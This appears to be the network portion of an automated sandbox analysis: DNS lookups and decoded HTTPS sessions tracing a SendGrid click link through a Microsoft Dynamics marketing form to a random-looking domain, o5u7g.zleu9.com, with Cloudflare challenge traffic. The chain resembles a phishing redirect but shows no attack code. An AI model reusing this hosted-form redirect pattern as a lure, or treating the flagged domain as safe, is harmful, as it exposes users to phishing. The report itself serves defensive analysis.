Apr 23, 2024 21:53:19.143779039 CEST	1.1.1.1	192.168.2.5	0xcaa3	No error (0)	www.google.com		74.125.136.106	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:19.143779039 CEST	1.1.1.1	192.168.2.5	0xcaa3	No error (0)	www.google.com		74.125.136.147	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:19.143779039 CEST	1.1.1.1	192.168.2.5	0xcaa3	No error (0)	www.google.com		74.125.136.99	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:19.143779039 CEST	1.1.1.1	192.168.2.5	0xcaa3	No error (0)	www.google.com		74.125.136.105	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:19.143779039 CEST	1.1.1.1	192.168.2.5	0xcaa3	No error (0)	www.google.com		74.125.136.104	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:19.144757986 CEST	1.1.1.1	192.168.2.5	0x51f	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 23, 2024 21:53:19.836744070 CEST	1.1.1.1	192.168.2.5	0xe82c	No error (0)	assets-usa.mkt.dynamics.com	assets-mkt-usa.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 21:53:19.836744070 CEST	1.1.1.1	192.168.2.5	0xe82c	No error (0)	shed.dual-low.part-0013.t-0009.t-msedge.net	part-0013.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 21:53:19.836744070 CEST	1.1.1.1	192.168.2.5	0xe82c	No error (0)	part-0013.t-0009.t-msedge.net		13.107.246.41	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:19.836744070 CEST	1.1.1.1	192.168.2.5	0xe82c	No error (0)	part-0013.t-0009.t-msedge.net		13.107.213.41	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:19.837512970 CEST	1.1.1.1	192.168.2.5	0x20f8	No error (0)	assets-usa.mkt.dynamics.com	assets-mkt-usa.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 21:53:20.748748064 CEST	1.1.1.1	192.168.2.5	0xfded	No error (0)	shed.dual-low.part-0013.t-0009.t-msedge.net	part-0013.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 21:53:20.748748064 CEST	1.1.1.1	192.168.2.5	0xfded	No error (0)	part-0013.t-0009.t-msedge.net		13.107.246.41	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:20.748748064 CEST	1.1.1.1	192.168.2.5	0xfded	No error (0)	part-0013.t-0009.t-msedge.net		13.107.213.41	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:22.661192894 CEST	1.1.1.1	192.168.2.5	0xe99c	No error (0)	shed.dual-low.part-0013.t-0009.t-msedge.net	part-0013.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 21:53:22.661192894 CEST	1.1.1.1	192.168.2.5	0xe99c	No error (0)	part-0013.t-0009.t-msedge.net		13.107.213.41	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:22.661192894 CEST	1.1.1.1	192.168.2.5	0xe99c	No error (0)	part-0013.t-0009.t-msedge.net		13.107.246.41	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:23.059267044 CEST	1.1.1.1	192.168.2.5	0xa191	No error (0)	public-usa.mkt.dynamics.com	cxppusa1im4t7x7z5iubq.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 21:53:23.059267044 CEST	1.1.1.1	192.168.2.5	0xa191	No error (0)	public-prdia888eus0aks.mkt.dynamics.com	prdia888eus0aks.mkt.dynamics.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 21:53:23.065821886 CEST	1.1.1.1	192.168.2.5	0x6296	No error (0)	public-usa.mkt.dynamics.com	cxppusa1im4t7x7z5iubq.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 21:53:23.065821886 CEST	1.1.1.1	192.168.2.5	0x6296	No error (0)	public-prdia888eus0aks.mkt.dynamics.com	prdia888eus0aks.mkt.dynamics.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 21:53:23.065821886 CEST	1.1.1.1	192.168.2.5	0x6296	No error (0)	prdia888eus0aks.mkt.dynamics.com		52.146.76.30	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:23.526154995 CEST	1.1.1.1	192.168.2.5	0x8984	No error (0)	assets-usa.mkt.dynamics.com	assets-mkt-usa.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 21:53:23.526154995 CEST	1.1.1.1	192.168.2.5	0x8984	No error (0)	shed.dual-low.part-0013.t-0009.t-msedge.net	part-0013.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 21:53:23.526154995 CEST	1.1.1.1	192.168.2.5	0x8984	No error (0)	part-0013.t-0009.t-msedge.net		13.107.246.41	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:23.526154995 CEST	1.1.1.1	192.168.2.5	0x8984	No error (0)	part-0013.t-0009.t-msedge.net		13.107.213.41	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:23.528487921 CEST	1.1.1.1	192.168.2.5	0x6c96	No error (0)	assets-usa.mkt.dynamics.com	assets-mkt-usa.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 21:53:24.478554010 CEST	1.1.1.1	192.168.2.5	0x76cd	No error (0)	public-usa.mkt.dynamics.com	cxppusa1im4t7x7z5iubq.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 21:53:24.478554010 CEST	1.1.1.1	192.168.2.5	0x76cd	No error (0)	public-prdia888eus0aks.mkt.dynamics.com	prdia888eus0aks.mkt.dynamics.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 21:53:24.478554010 CEST	1.1.1.1	192.168.2.5	0x76cd	No error (0)	prdia888eus0aks.mkt.dynamics.com		52.146.76.30	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:24.478799105 CEST	1.1.1.1	192.168.2.5	0x6f6f	No error (0)	public-usa.mkt.dynamics.com	cxppusa1im4t7x7z5iubq.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 21:53:24.478799105 CEST	1.1.1.1	192.168.2.5	0x6f6f	No error (0)	public-prdia888eus0aks.mkt.dynamics.com	prdia888eus0aks.mkt.dynamics.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 21:53:30.988048077 CEST	1.1.1.1	192.168.2.5	0x8edd	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 21:53:30.988048077 CEST	1.1.1.1	192.168.2.5	0x8edd	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:31.467353106 CEST	1.1.1.1	192.168.2.5	0xd596	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:31.467353106 CEST	1.1.1.1	192.168.2.5	0xd596	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:38.506361008 CEST	1.1.1.1	192.168.2.5	0x894c	No error (0)	o5u7g.zleu9.com		172.67.143.205	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:38.506361008 CEST	1.1.1.1	192.168.2.5	0x894c	No error (0)	o5u7g.zleu9.com		104.21.27.247	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:38.508019924 CEST	1.1.1.1	192.168.2.5	0x12e7	No error (0)	o5u7g.zleu9.com			65	IN (0x0001)	false
Apr 23, 2024 21:53:39.449301958 CEST	1.1.1.1	192.168.2.5	0xa8a0	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:39.449301958 CEST	1.1.1.1	192.168.2.5	0xa8a0	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:39.449301958 CEST	1.1.1.1	192.168.2.5	0xa8a0	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:39.449301958 CEST	1.1.1.1	192.168.2.5	0xa8a0	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:39.449529886 CEST	1.1.1.1	192.168.2.5	0x5571	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 23, 2024 21:53:39.450629950 CEST	1.1.1.1	192.168.2.5	0x965c	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:39.450629950 CEST	1.1.1.1	192.168.2.5	0x965c	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:40.573396921 CEST	1.1.1.1	192.168.2.5	0xb47	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:40.573396921 CEST	1.1.1.1	192.168.2.5	0xb47	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:40.573555946 CEST	1.1.1.1	192.168.2.5	0x7945	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 23, 2024 21:53:41.786791086 CEST	1.1.1.1	192.168.2.5	0xe3b0	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:41.786791086 CEST	1.1.1.1	192.168.2.5	0xe3b0	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:41.786912918 CEST	1.1.1.1	192.168.2.5	0xb7e7	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 23, 2024 21:53:42.301577091 CEST	1.1.1.1	192.168.2.5	0x301d	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:45.874732971 CEST	1.1.1.1	192.168.2.5	0xf078	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:45.874732971 CEST	1.1.1.1	192.168.2.5	0xf078	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:54:05.176798105 CEST	1.1.1.1	192.168.2.5	0xb3e9	No error (0)	o5u7g.zleu9.com			65	IN (0x0001)	false
Apr 23, 2024 21:54:05.192914009 CEST	1.1.1.1	192.168.2.5	0x59cc	No error (0)	o5u7g.zleu9.com		172.67.143.205	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:54:05.192914009 CEST	1.1.1.1	192.168.2.5	0x59cc	No error (0)	o5u7g.zleu9.com		104.21.27.247	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:54:06.861692905 CEST	1.1.1.1	192.168.2.5	0x1bb6	No error (0)	www.google.com		172.253.124.99	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:54:06.861692905 CEST	1.1.1.1	192.168.2.5	0x1bb6	No error (0)	www.google.com		172.253.124.147	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:54:06.861692905 CEST	1.1.1.1	192.168.2.5	0x1bb6	No error (0)	www.google.com		172.253.124.103	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:54:06.861692905 CEST	1.1.1.1	192.168.2.5	0x1bb6	No error (0)	www.google.com		172.253.124.104	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:54:06.861692905 CEST	1.1.1.1	192.168.2.5	0x1bb6	No error (0)	www.google.com		172.253.124.106	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:54:06.861692905 CEST	1.1.1.1	192.168.2.5	0x1bb6	No error (0)	www.google.com		172.253.124.105	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:54:06.861932993 CEST	1.1.1.1	192.168.2.5	0x780a	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 23, 2024 21:54:06.862220049 CEST	1.1.1.1	192.168.2.5	0x6e12	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 21:54:06.862220049 CEST	1.1.1.1	192.168.2.5	0x6e12	No error (0)	d2vgu95hoyrpkh.cloudfront.net		99.84.108.67	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:54:06.862220049 CEST	1.1.1.1	192.168.2.5	0x6e12	No error (0)	d2vgu95hoyrpkh.cloudfront.net		99.84.108.83	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:54:06.862220049 CEST	1.1.1.1	192.168.2.5	0x6e12	No error (0)	d2vgu95hoyrpkh.cloudfront.net		99.84.108.93	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:54:06.862220049 CEST	1.1.1.1	192.168.2.5	0x6e12	No error (0)	d2vgu95hoyrpkh.cloudfront.net		99.84.108.59	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:54:06.862370968 CEST	1.1.1.1	192.168.2.5	0x8886	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 21:54:29.398274899 CEST	1.1.1.1	192.168.2.5	0xfed4	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:54:29.398274899 CEST	1.1.1.1	192.168.2.5	0xfed4	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:54:42.305890083 CEST	1.1.1.1	192.168.2.5	0x2f9b	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

u44056869.ct.sendgrid.net

assets-usa.mkt.dynamics.com

https:

cxppusa1formui01cdnsa01-endpoint.azureedge.net

www.bing.com

code.jquery.com

challenges.cloudflare.com

o5u7g.zleu9.com

www.google.com

cdn.socket.io

fs.microsoft.com

public-usa.mkt.dynamics.com

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49709	167.89.123.16	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:19 UTC	1179	OUT	GET /ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DlLb9_7VBE-2BPKrWdDFE8TeQU0FNoYmRNt3BbsAfHCQfpyMVcUv91cWM1GbR6tMnpfVZqwoeCii1Z-2FHB6Wp4CGi-2FJ4Nq2flvhbRyRKwbWUqyssDslf87wBQZbBQ0EZsTXlvzjuj1ZnarL4QCJJlvUup-2FiM-2F9GPG6X3nhhKKp6sQ0v-2BBs5Jrrpzc3e5B2aUKKEJUx1Hjrx3xc16wmpK1HmM2sLiNIweMaJlJ9frDis7-2BK565mLw-3D HTTP/1.1 Host: u44056869.ct.sendgrid.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:19 UTC	338	IN	HTTP/1.1 302 Found Server: nginx Date: Tue, 23 Apr 2024 19:53:19 GMT Content-Type: text/html; charset=utf-8 Content-Length: 162 Connection: close Location: https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 X-Robots-Tag: noindex, nofollow
2024-04-23 19:53:19 UTC	162	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2d 75 73 61 2e 6d 6b 74 2e 64 79 6e 61 6d 69 63 73 2e 63 6f 6d 2f 34 64 66 35 32 37 63 38 2d 35 61 66 64 2d 65 65 31 31 2d 39 30 34 38 2d 30 30 30 64 33 61 31 30 36 38 32 64 2f 64 69 67 69 74 61 6c 61 73 73 65 74 73 2f 73 74 61 6e 64 61 6c 6f 6e 65 66 6f 72 6d 73 2f 38 34 35 66 62 64 33 64 2d 61 34 30 31 2d 65 66 31 31 2d 61 31 66 64 2d 37 63 31 65 35 32 31 63 30 32 38 38 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49714	13.107.246.41	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:20 UTC	773	OUT	GET /4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 HTTP/1.1 Host: assets-usa.mkt.dynamics.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:20 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:53:20 GMT Content-Type: text/html Content-Length: 491 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=900, must-revalidate x-ms-trace-id: a7a430a73d80a42c1cd8a1354f2d2965 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff x-azure-ref: 20240423T195320Z-16f56cb894f4g6rbudmdpega90000000013000000000gu4t x-fd-int-roxy-purgeid: 69077000 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-23 19:53:20 UTC	491	IN	Data Raw: 3c 64 69 76 0a 20 20 20 20 20 20 20 20 64 61 74 61 2d 66 6f 72 6d 2d 69 64 3d 27 38 34 35 66 62 64 33 64 2d 61 34 30 31 2d 65 66 31 31 2d 61 31 66 64 2d 37 63 31 65 35 32 31 63 30 32 38 38 27 0a 20 20 20 20 20 20 20 20 64 61 74 61 2d 66 6f 72 6d 2d 61 70 69 2d 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 70 75 62 6c 69 63 2d 75 73 61 2e 6d 6b 74 2e 64 79 6e 61 6d 69 63 73 2e 63 6f 6d 2f 61 70 69 2f 76 31 2e 30 2f 6f 72 67 73 2f 34 64 66 35 32 37 63 38 2d 35 61 66 64 2d 65 65 31 31 2d 39 30 34 38 2d 30 30 30 64 33 61 31 30 36 38 32 64 2f 6c 61 6e 64 69 6e 67 70 61 67 65 66 6f 72 6d 73 27 0a 20 20 20 20 20 20 20 20 64 61 74 61 2d 63 61 63 68 65 64 2d 66 6f 72 6d 2d 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2d 75 73 61 2e 6d 6b 74 2e 64 79 6e 61 6d Data Ascii: <div data-form-id='845fbd3d-a401-ef11-a1fd-7c1e521c0288' data-form-api-url='https://public-usa.mkt.dynamics.com/api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpageforms' data-cached-form-url='https://assets-usa.mkt.dynam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49715	13.107.246.41	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:21 UTC	592	OUT	GET /usa/FormLoader/FormLoader.bundle.js HTTP/1.1 Host: cxppusa1formui01cdnsa01-endpoint.azureedge.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://assets-usa.mkt.dynamics.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:21 UTC	643	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:53:21 GMT Content-Type: application/javascript Content-Length: 711081 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 27 Feb 2024 09:22:18 GMT ETag: 0x8DC3775981D513B x-ms-request-id: a6650150-101e-00a1-4c86-95e0fc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Allow-Origin: * x-azure-ref: 20240423T195321Z-16f56cb894fs282r0ebn0f4ra4000000018000000000h4gz x-fd-int-roxy-purgeid: 66630197 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-23 19:53:21 UTC	15741	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 46 6f 72 6d 4c 6f 61 64 65 72 2e 62 75 6e 64 6c 65 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 76 61 72 20 64 33 36 35 6d 6b 74 66 6f 72 6d 73 3b 28 28 29 3d 3e 7b 76 61 72 20 65 2c 74 2c 6e 3d 7b 33 31 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 3f 73 65 6c 66 3a 74 68 69 73 2c 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 74 68 69 73 2e 66 65 74 63 68 3d 21 31 2c 74 68 69 73 2e 44 4f 4d 45 78 63 65 70 74 69 6f 6e 3d 6e 2e 44 4f 4d 45 78 63 65 70 74 69 6f 6e 7d 72 65 74 75 72 6e 20 65 2e 70 72 6f 74 6f Data Ascii: /! For license information please see FormLoader.bundle.js.LICENSE.txt /var d365mktforms;(()=>{var e,t,n={317:function(e,t){var n="undefined"!=typeof self?self:this,r=function(){function e(){this.fetch=!1,this.DOMException=n.DOMException}return e.proto
2024-04-23 19:53:21 UTC	16384	IN	Data Raw: 22 29 2c 63 3d 64 28 22 72 65 61 63 74 2e 6d 65 6d 6f 22 29 2c 6c 3d 64 28 22 72 65 61 63 74 2e 6c 61 7a 79 22 29 7d 76 61 72 20 70 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3b 66 75 6e 63 74 69 6f 6e 20 66 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 61 63 74 6a 73 2e 6f 72 67 2f 64 6f 63 73 2f 65 72 72 6f 72 2d 64 65 63 6f 64 65 72 2e 68 74 6d 6c 3f 69 6e 76 61 72 69 61 6e 74 3d 22 2b 65 2c 6e 3d 31 3b 6e 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 74 2b 3d 22 26 61 72 67 73 5b 5d 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 72 67 75 6d 65 6e 74 73 5b 6e 5d 29 3b 72 65 74 75 72 6e 22 4d 69 6e Data Ascii: "),c=d("react.memo"),l=d("react.lazy")}var p="function"==typeof Symbol&&Symbol.iterator;function f(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n<arguments.length;n++)t+="&args[]="+encodeURIComponent(arguments[n]);return"Min
2024-04-23 19:53:21 UTC	16384	IN	Data Raw: 47 56 34 55 45 4a 41 46 67 59 43 6e 6b 41 45 6d 64 4b 43 62 70 36 48 41 44 6d 51 66 44 70 53 51 45 58 63 77 69 41 78 55 61 69 78 47 79 49 4b 47 67 48 6b 4d 6c 41 71 65 43 77 4a 41 67 44 73 74 5a 41 67 51 77 4b 45 6a 68 5a 39 41 52 34 4d 41 41 53 47 46 72 67 30 6d 47 44 43 67 51 49 46 6d 62 4d 73 41 47 42 69 2b 38 36 4b 46 42 68 49 34 63 50 77 6d 7a 61 48 41 30 57 51 66 64 75 53 77 49 53 47 69 43 41 4d 70 56 6a 77 6e 45 67 51 41 49 66 6b 45 43 51 6b 41 4e 41 41 73 41 41 41 41 41 42 34 41 48 67 43 46 42 41 59 45 68 49 61 45 78 4d 62 45 52 45 4a 45 70 4b 61 6b 35 4f 62 6b 5a 47 4a 6b 4c 43 6f 73 6c 4a 61 55 31 4e 62 55 74 4c 61 30 39 50 62 30 48 42 6f 63 56 46 4a 55 64 48 4a 30 6a 49 36 4d 7a 4d 37 4d 72 4b 36 73 37 4f 37 73 50 44 34 38 6e 4a 36 63 33 4e 37 Data Ascii: GV4UEJAFgYCnkAEmdKCbp6HADmQfDpSQEXcwiAxUaixGyIKGgHkMlAqeCwJAgDstZAgQwKEjhZ9AR4MAASGFrg0mGDCgQIFmbMsAGBi+86KFBhI4cPwmzaHA0WQfduSwISGiCAMpVjwnEgQAIfkECQkANAAsAAAAAB4AHgCFBAYEhIaExMbEREJEpKak5ObkZGJkLCoslJaU1NbUtLa09Pb0HBocVFJUdHJ0jI6MzM7MrK6s7O7sPD48nJ6c3N7
2024-04-23 19:53:21 UTC	16384	IN	Data Raw: 73 5b 33 5d 3a 7b 73 69 6c 65 6e 74 3a 21 31 7d 3b 66 6f 72 28 76 61 72 20 69 20 69 6e 20 6e 29 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 6e 5b 69 5d 26 26 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 5d 22 21 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2e 61 70 70 6c 79 28 6e 5b 69 5d 29 7c 7c 74 68 69 73 2e 61 64 64 52 65 73 6f 75 72 63 65 28 65 2c 74 2c 69 2c 6e 5b 69 5d 2c 7b 73 69 6c 65 6e 74 3a 21 30 7d 29 3b 72 2e 73 69 6c 65 6e 74 7c 7c 74 68 69 73 2e 65 6d 69 74 28 22 61 64 64 65 64 22 2c 65 2c 74 2c 6e 29 7d 7d 2c 7b 6b 65 79 3a 22 61 64 64 52 65 73 6f 75 72 63 65 42 75 6e 64 6c 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 2c 69 29 7b 76 61 72 20 61 3d 61 72 67 75 6d 65 6e Data Ascii: s[3]:{silent:!1};for(var i in n)"string"!=typeof n[i]&&"[object Array]"!==Object.prototype.toString.apply(n[i])\|\|this.addResource(e,t,i,n[i],{silent:!0});r.silent\|\|this.emit("added",e,t,n)}},{key:"addResourceBundle",value:function(e,t,n,r,i){var a=argumen
